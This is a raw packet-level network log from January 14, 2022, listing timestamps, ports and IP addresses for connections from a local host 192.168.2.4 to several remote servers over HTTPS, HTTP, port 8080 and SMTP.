Jan 14, 2022 09:25:15.190313101 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190331936 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190387011 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190388918 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190409899 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190464973 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190479040 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190551996 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190623045 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190630913 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190658092 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190833092 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.190895081 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.190908909 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191004038 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191065073 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191075087 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191137075 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191196918 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191198111 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191220999 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191258907 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191366911 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191452026 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191524982 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191561937 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191574097 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191627026 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191631079 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191646099 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191675901 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191772938 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191836119 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191895008 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191929102 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.191943884 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.191998959 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192001104 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192018032 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192049980 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192118883 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192203999 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192259073 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192270994 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192289114 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192338943 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192351103 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192400932 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192413092 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192476988 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192534924 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192545891 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192627907 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192682028 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192694902 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192765951 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.192836046 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.192847013 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207014084 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207094908 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207112074 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.207142115 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207169056 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207223892 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.207236052 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.207238913 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207262993 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.207325935 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.207979918 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208053112 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.208070993 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208097935 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208162069 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.208174944 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208199978 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208264112 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.208273888 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.208321095 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209547997 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209619999 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209630966 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209654093 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209686041 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209703922 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209727049 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209781885 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209800959 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209881067 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.209909916 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.209975958 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.210026979 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.210087061 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.210088015 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.210108042 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.210138083 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.224029064 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224085093 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224102020 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.224117994 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224139929 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.224853992 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224903107 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224924088 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.224935055 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.224972963 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.224984884 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225044012 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225044012 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225058079 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225116014 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225127935 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225142956 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225178003 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225189924 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225202084 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225246906 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225255013 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225267887 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225301981 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225307941 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225317001 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.225327015 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.225351095 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227163076 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227220058 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227242947 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227253914 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227267027 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227363110 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227421045 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227432966 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227454901 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227482080 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227494001 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227511883 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227602005 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227649927 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227663040 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227700949 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227762938 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227776051 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227816105 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227869034 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227880955 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227914095 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.227968931 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.227979898 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228049040 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228097916 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228110075 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228127956 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228178978 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228189945 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228226900 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228279114 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228291035 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228327036 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228378057 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228389025 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228482008 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228547096 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228559017 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228588104 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228612900 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228625059 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228642941 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228672981 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228722095 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.228735924 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.228837967 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260117054 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260163069 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260225058 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260241985 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260267973 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260302067 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260394096 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260432005 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260468960 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260481119 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260518074 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260525942 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260786057 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260848999 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260874033 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.260895014 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.260986090 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261089087 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261127949 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261185884 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261202097 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261215925 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261280060 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261516094 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261554956 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261590004 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261601925 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261652946 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261663914 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261827946 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261908054 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.261950016 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261970997 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.261965990 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262037039 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262237072 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262274981 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262329102 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262340069 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262356043 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262644053 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262674093 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262684107 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262707949 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.262713909 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262753010 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.262780905 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263025045 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263062000 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263113976 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263129950 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263144016 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263505936 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263545990 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263597012 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263607979 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263623953 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263664961 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263715982 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263756990 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263787985 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263799906 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.263816118 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.263855934 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.264111996 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264148951 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264204025 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.264219046 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264239073 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.264868975 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264906883 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264965057 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.264981985 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.264995098 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.265197039 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.265214920 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.265237093 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.265270948 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.265285015 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.265324116 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.265333891 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.265347004 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316154003 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316176891 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316243887 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316260099 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316281080 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316705942 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316762924 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316781998 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316814899 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316817045 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316850901 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316863060 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.316876888 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.316883087 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.317231894 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317255020 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317296028 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.317307949 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317325115 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.317761898 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317780018 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317831039 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.317846060 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.317858934 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.318373919 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.318393946 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.318442106 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.318458080 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.318471909 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.318954945 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.318979025 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.319036007 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.319051981 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.319063902 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.319067001 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.319113970 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.320291996 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.320312977 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:15.320344925 CET	49801	443	192.168.2.4	162.159.135.233
Jan 14, 2022 09:25:15.320363045 CET	443	49801	162.159.135.233	192.168.2.4
Jan 14, 2022 09:25:16.297379971 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:16.299364090 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:16.299391031 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:16.360791922 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:16.790715933 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.808149099 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.808581114 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.808830976 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.808850050 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.825990915 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.826025009 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.929970980 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.930087090 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.930310011 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.947516918 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.969160080 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.986417055 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:16.987839937 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.987941980 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:16.987957954 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.005134106 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.005178928 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.110877037 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.110953093 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.111129999 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.111170053 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.128432035 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.136885881 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.154377937 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.154711962 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.154843092 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.154870987 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.172183037 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.284682989 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:17.284761906 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.285034895 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:17.290993929 CET	49805	80	192.168.2.4	188.166.28.199
Jan 14, 2022 09:25:17.302373886 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:20.381995916 CET	49805	80	192.168.2.4	188.166.28.199
Jan 14, 2022 09:25:26.487418890 CET	49805	80	192.168.2.4	188.166.28.199
Jan 14, 2022 09:25:35.762496948 CET	49844	25	192.168.2.4	40.93.207.0
Jan 14, 2022 09:25:35.866075993 CET	25	49844	40.93.207.0	192.168.2.4
Jan 14, 2022 09:25:35.866197109 CET	49844	25	192.168.2.4	40.93.207.0
Jan 14, 2022 09:25:35.866682053 CET	49844	25	192.168.2.4	40.93.207.0
Jan 14, 2022 09:25:35.970055103 CET	25	49844	40.93.207.0	192.168.2.4
Jan 14, 2022 09:25:35.971431017 CET	25	49844	40.93.207.0	192.168.2.4
Jan 14, 2022 09:25:35.971520901 CET	49844	25	192.168.2.4	40.93.207.0
Jan 14, 2022 09:25:35.971843958 CET	25	49844	40.93.207.0	192.168.2.4
